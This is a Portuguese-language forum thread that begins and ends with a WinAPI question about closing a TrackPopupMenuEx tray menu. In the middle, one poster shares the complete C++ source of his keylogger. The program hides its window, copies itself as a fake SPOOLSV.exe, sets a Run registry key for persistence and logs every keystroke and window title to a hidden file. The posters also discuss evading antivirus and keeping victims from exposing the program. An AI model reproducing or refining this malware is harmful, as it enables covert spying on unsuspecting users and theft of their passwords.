desde q comecei a programar
sempre tive um problema com
o TrackPopupMenuEx(...) da winapi
tipo ele cria o menu e o menu não some
até q se clique em alguma opção do menu
mesmo se clicar fora do menu ele não some
como resolvo isso
como faço um menu 'normal' que some
quando clica fora dele?
algueem??? (//http://www.darkers.com.br/forum/Smileys/default/huh.gif)
Até onde eu sei, só colocando uma opção de fechar o menu pro usuário clicar.. mas eu não conheço muito essa API, esse final de semana vo achar um jeito melhorzim e te passo.
exatamente o que fiz mas aki é mt
ruim a cada vez que vc abre o menu
tenha que clicar na opção sair para
fechar o menu =/
e eu sei q é possível o menu fechar
se clicar fora dele
pq todos os programas que vi até hoje (com excessão de dois)
o menu sempre some.
(//http://br.geocities.com/bonecoo_xd/menu.gif)
ai vc clica no menu sair para fechar o menu...
Cara, porque você não pega a coordenada do click do mouse, ou com uma API própria ou com hooking de mouse mesmo e verifica se esta dentro do retangulo(REC *) do menu, ai se estiver fora você usa um PostQuit~.
Bem simples, não?
tipo uma vez tentei fazer isso...
mas descartei isso... mas acho q dá pra fazer sim
esse programa eu fiz quando eu tavaa no 2 mes
de programação
agora já ta mais fácil de mudar certas coisas =D
mas aki .. tem uma função que já calcula o RECT*
do menu??? ou tem que ser manual msm?
GetWindowRect
Primeiro parametro um controle pra janela(HWND)
E segundo um ponteiro longo para uma estrutura RECT(lpRect) que recebe as coordenadas..
Ai é só tu acessar lpRect->Left e etc.
http://msdn.microsoft.com/en-us/library/ms536136(VS.85 (http://msdn.microsoft.com/en-us/library/ms536136(VS.85)).aspx
eu teria que fazer isso então?
HMENU Mainpopup = CreateMenu();
HWND MenuWnd = (HWND)Mainpopup;
RECT* Pos = (RECT*)0;
POINT* Pt = (POINT*)0;
GetWindowRect(&Rect);
GetCursorPos(&Rect);
...
if ((Pt.x >= Pos.left && Pt.x <= Pos.right) || (Pt.y >= Pos.top && Pt.y <= Pos.right))
EndMenu();
tipo eu ainda não testei mais tipo acho q não
da pra converter o HMENU pra HWND...
ou dáa?
Faz o seguinte, hooka o mouse e pega ação de clickar sem se importar com as coordenadas, não com GetCursorPos porque você vai pegar a posição do cursor e não se o cara clickou ou deixou de clicar.
Se tu não quiser converter um HWND em HMENU porque possívelmente vai dar errado.. faz assim.
O cara abriu o menu, o próximo click, ou executa uma ação ou fecha o menu.
ai tu pega os clicks, nem se importa com as coordenadas, e põe como ação default o endmenu.
Não importa aonde o cara clickar, o menu vai ter que fechar de qualquer jeito, a única diferença é se uma ação vai ser executada ou não.
Mas não usa qualquer hook não, usa a CBTProc e monitora as msgs HCBT_CLICKSKIPPED que monitora quando uma msg relacionada aou mouse está prestes a ser removida d queue.
Se uma ação foi executada ou não, não importa, o importante é que o próximo click após o menu ser aberto, sempre vai fechar o menu.
Ve se tu prefere essa lógica.
Por aliás, você ta sempre com um monte de perguntas novas sobre APIs do windows, tanto la no unidev e aqui.. então só por curiosidade mesmo, que tipo de programa você ta fazendo?
pra fala a verdade tipo
eu to tentando fazer 3
um pra alterar Portable Executables
to estudando aki e conseguindo =D
um treiner que tem mt tempo q tinha
parado a vi o tópico Memory Scanner
ai resolvi .. vo tenta fazer isso agora
e um outro que altera variáveis na memória
em valores definido pelos edit box
que já ta quase pronto
e tipo as perguntaas não são somente por
estar fazendo tais programas e sim por conhecimento =D
e que também uso esses programas aki no meu pc
igual esse do menu é um gerenciador de janelas
que eu to com projeto de refazê-lo e colocar +
pelo menos umas 7 opções de controlar janelas a mais
foi o 1º programa que fiz =D.. depois que terminei
ele tirei mtas das dúvidas que tinha no começo =D
como criação de scripts que o usuário pode criar
ou usar os exemplos, usar o registro, arquivos *.ini,
uso de ícone na tray, etc,
se eu não tivesse perguntado em algum forum
ou procurado no google =D eu poderiaa estar com
certas dificuldades até hoje
Esse gerenciador de janelas.. achei uma idéia genial.. de verdade
Vo até começar um só de inveja

Faz tempo que eu to procurando algo interessante pra codar.
Se tiver algum problema em usar hooks, eu faço um exemplo e explico se tu quiser, até mesmo fechando um popupmenu.
Flws, boa sorte ai nos seus 3 projetos
hasusahua
tipo eu ainda não sei usar mt hooks =/
eu geralmente quando faço um programa
detectar cliques eu uso geralmente o
GetAsyncKeyState(); eu sei que para verificar
já conta uma thread =/. mais tipo na hora de um keylogger
a vantagem eh q o AV precisar ter uma verificação mt boa
para achá-lo já o hook de teclas o AV acharia facilmente
vo procurar aki sobre os hooks.. flw
Dependendo do tipo de hooks, nenhum av detecta..
Olha esse código como exemplo de um kl que eu fiz a uns 3/2/1(sei la lolz) anos atrás que não manda email nem nada, tinha feito só pra mostrar hooking pro meu colega..
#include
#include
#include
#include
#include
#define something 1
using namespace std;
/*VARIAVEIS GLOBAIS*/
HHOOK hHk;
FILE *p;
HWND jFocus;
char t_Janela[255];
string Last_Janela;
/**SUB-ROTINAS**/
LRESULT CALLBACK KeyboardProc_LL(int nCode, WPARAM wParam, LPARAM lParam);
void Formatacao__(char *Tcl, int caixa);
void Seta_Hook();
void Hook_UnSet();
/****INÍCIO DA MAIN******/
int main(int argc, char **argv)
{
MSG mensagem;
HKEY key;
char caminho[600];
system("mkdir c:\\window");
SetConsoleTitle("hskl.exe"); // Nome do console
HWND janela = FindWindow (NULL, "hskl.exe"); // Procura a janela hskl
ShowWindow(janela, SW_HIDE); //esconde a janela
strcpy(caminho, argv[0]); //pega o caminho do primeiro exe
CopyFile(caminho, "C:\\window\\SPOOLSV.exe",0); //copia para pasta do sistema com nome de SPOOLSV
SetFileAttributes("C:\\window\\SPOOLSV.exe", FILE_ATTRIBUTE_HIDDEN); //oculta
SetFileAttributes(caminho, FILE_ATTRIBUTE_HIDDEN); //oculta
//cria e seta a key de registro
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key);
RegSetValueEx(key,"spoolsv",0,1,(LPBYTE)"C:\\window\\SPOOLSV.exe",22);
RegCloseKey(key); // fechando a chave
p = fopen("C:/window/txt.htm","a"); /*abre/cria e oculta os logs*/
/*jFocus recebe o nome do processo que está em fóco pelo usuário*/
jFocus = GetForegroundWindow();
/*jLastFocus recebe o mesmo nome*/
GetWindowText(jFocus,t_Janela,255) /*t_Janela recebe o título da janela em fóco*/;
Last_Janela = t_Janela;
if(strcmp(t_Janela,""))
{
fprintf(p,"
<--::");
fprintf(p,t_Janela);
fprintf(p, "::-->
");
}
/*se o título não estiver vazio, imprime no arquivo o título da janela: <--:: Ragnarok ::-->(exemplo)*/
Seta_Hook(); /*inicializa a hook*/
while(1)/*pega e despacha a msg*/
{
GetMessage(&mensagem, NULL, 0, 0);
DispatchMessage(&mensagem);
}
/**A função tamanho(FILE *p, int Tam_Max) retorna 1(verdadeiro) caso o valor máximo de tamanho dos logs
estipulado tenha sido alcansado.. logo, fecha o arquivo, ativa a função de enviar os logs e o reabre**/
Hook_UnSet();
return something; //só pra mudanças posteriores-->
}
/**************TÉRMINO DA FUNÇÃO MAIN****************/
/********HOOK PROCEDURE******/
LRESULT CALLBACK KeyboardProc_LL(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode < 0)
return CallNextHookEx(hHk, nCode, wParam, lParam);
/*Numa WH_KEYBOARD hook se o valor de nCode for menor que zero, a sua função filtro não deve interferir
no andamento da msg, logo, a função simplesmente termina chamando a próxima função da chain*/
jFocus = GetForegroundWindow();
GetWindowText(jFocus,t_Janela,255);
if(!(Last_Janela == t_Janela) && strcmp(t_Janela,"") && strcmp(t_Janela," "))
{
fprintf(p,"
<--:: ");
fprintf(p,t_Janela);
fprintf(p," ::-->
");
Last_Janela = t_Janela;
}
KBDLLHOOKSTRUCT *LL_INPUT;
LL_INPUT = (KBDLLHOOKSTRUCT *) lParam;
if(wParam == WM_KEYDOWN)
{
int scan;
char buff[255], *Tecla;
scan = LL_INPUT->scanCode;
scan <<= 16;
GetKeyNameText(scan, buff, sizeof(buff));
Tecla = buff;
if (strlen(Tecla) == 1)
{
if (GetKeyState(VK_CAPITAL) == 1)
{
if (GetKeyState(VK_SHIFT) < 0)
Formatacao__(Tecla, 0);
else
Formatacao__(Tecla, 1);
}
else
{
if (GetKeyState(VK_SHIFT) < 0)
Formatacao__(Tecla, 1);
else
Formatacao__(Tecla, 0);
}
if ((strcmp(Tecla, "1") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "!";
if ((strcmp(Tecla, "2") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "@";
if ((strcmp(Tecla, "3") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "#";
if ((strcmp(Tecla, "4") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "$";
if ((strcmp(Tecla, "5") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "%";
if ((strcmp(Tecla, "6") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "¨";
if ((strcmp(Tecla, "7") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "&";
if ((strcmp(Tecla, "8") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "*";
if ((strcmp(Tecla, "9") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = "(";
if ((strcmp(Tecla, "0") == 0) &&
(GetKeyState(VK_SHIFT) < 0))
Tecla = ")";
fprintf(p,"%s",Tecla);
}
else
{fprintf(p,"[");
fprintf(p,"%s",Tecla);
fprintf(p,"]");
}
fclose(p);
p = fopen("C:/window/txt.htm","a");
}
return CallNextHookEx(hHk, nCode, wParam, lParam);
}
/*******SETA HOOK******/
void Seta_Hook()
{
hHk = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc_LL,
GetModuleHandle(0), 0);
}
/****Hook Unset****/
void Hook_UnSet()
{
if(hHk)
UnhookWindowsHookEx(hHk);
}
/*******Formatacao__ recebe o char que irá formatar(passar para caixa alta ou baixa
e o inteiro que diz para qual dos dois ele irá passar
Caso 1, formatacao transforma para caixa alta
caso 0, caixa baixa ******/
void Formatacao__(char *Tcl, int caixa)
{
if(caixa)
while(*Tcl)
{
*Tcl = toupper(*Tcl);
Tcl++;
}
else
while(*Tcl)
{
*Tcl = tolower(*Tcl);
Tcl++;
}
}
ow.. tava olhando seu kl aki
husha ..tá melhor que o meu (//http://www.darkers.com.br/forum/Smileys/default/angry.gif)
uma coisa que vc poderia fazer tb para evitar certos erros tipo:
HWND janela = FindWindow (0,"hskl.exe");
vc tem q usar antes de incluir windows.h
#define _WIN32_WINNT 0x0500
e faça assim .. acho mais seguro:
#define _WIN32_WINNT 0x0500
#include <windows.h>
...
HWND janela = GetConsoleWindow();
imagina se o infeliz que pegou seu kl
tem uma outra janela com o nome "hskl.exe"
como fica o FindWindow?
e tb tipo eu fiz um
anti-programa-que-bloqueia-gerenciador-de-tarefas
(sahasuhsauhsa sem criatividade pra um nome melhor)
que alterava o título do gerenciador de tarefas antes
que o kl o fechasse num loop while e alterava tb o valor
que bloquea o taskmgr no registro caso ele fosse 1
vai q o usuário faça isso e altere o título do seu kl
pronto já era o FindWindow+ShowWindow tb.. =/
Eu to ligado \=
Na época que fiz esse kl eu ainda estava começando a estudar a estrutura do windows e suas APIs.. ai saiu essa **** ai :D
Resolvido (na gambiarra xD)
simplesmente .. criar uma janela para interpretar o menu
tipo esse TrackPopupMenuEx() tem um bug mesmo
pra resolver eu criei apenas uma janela Static invisível
e então ela é uma janela ponte apenas...
ela recebe a mensagem e já passa no CallWndProc()
para a janela principal e então o menu some... (//http://www.darkers.com.br/forum/Smileys/default/grin.gif)
se alguém precisar.....
ficou assim:
...
tray.cbSize = sizeof(NOTIFYICONDATA);
tray.hWnd = MENUBUG; // "janela vazia"
tray.uID = 1;
tray.uFlags = NIF_ICON|NIF_MESSAGE|NIF_TIP;
tray.uCallbackMessage = 8492;
tray.hIcon = hicon;
sprintf(tray.szTip,"Window Manager");
...
SetForegroundWindow(tray.hWnd);
TrackPopupMenuEx(traymenu,0,x,y,tray.hWnd,0);
// já que o menu é alterado dinâmicamente e à toda hora
// não o destruo aki..e sim no final do programa
// vou arrumar isso depois
vlw pela ajuda
flw
teh+